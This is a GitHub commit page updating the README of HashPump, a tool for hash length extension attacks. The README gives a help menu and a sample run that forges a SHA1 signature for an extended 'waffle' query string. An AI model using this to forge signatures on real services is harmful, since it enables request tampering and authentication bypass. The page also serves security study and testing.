Skip to content

Commit

Permalink
Updated the Readme
Browse files Browse the repository at this point in the history
  • Loading branch information
bwall committed Sep 4, 2012
1 parent 28c6bb4 commit 6366a39
Showing 1 changed file with 23 additions and 1 deletion.
24 changes: 23 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,26 @@ HashPump

A tool to exploit the hash length extension attack in various hashing algorithms

Currently supported algorithms: SHA1
Currently supported algorithms: MD5, SHA1, SHA256, SHA512

Help Menu
=========

./HashPump -h
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
-h --help Display this message.
-t --test Run tests to verify each algorithm is operating properly.
-s --signature The signature from known message.
-d --data The data from the known message.
-a --additional The information you would like to add to the known message.
-k --keylength The length in bytes of the key being used to sign the original message with.
Version 1.0 with MD5, SHA1, SHA256 and SHA512 support.
<Developed by bwall(@bwallHatesTwits)>

Sample Output
=============

./HashPump -s 6d5f807e23db210bc254a28be2d6759a0f5f5d99 --data count=10\&lat=37.351\&user_id=1\&long=-119.827\&waffle=eggo -a \&waffle=liege -k 14
0e41270260895979317fff3898ab85668953aaa2
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege

0 comments on commit 6366a39

Please sign in to comment.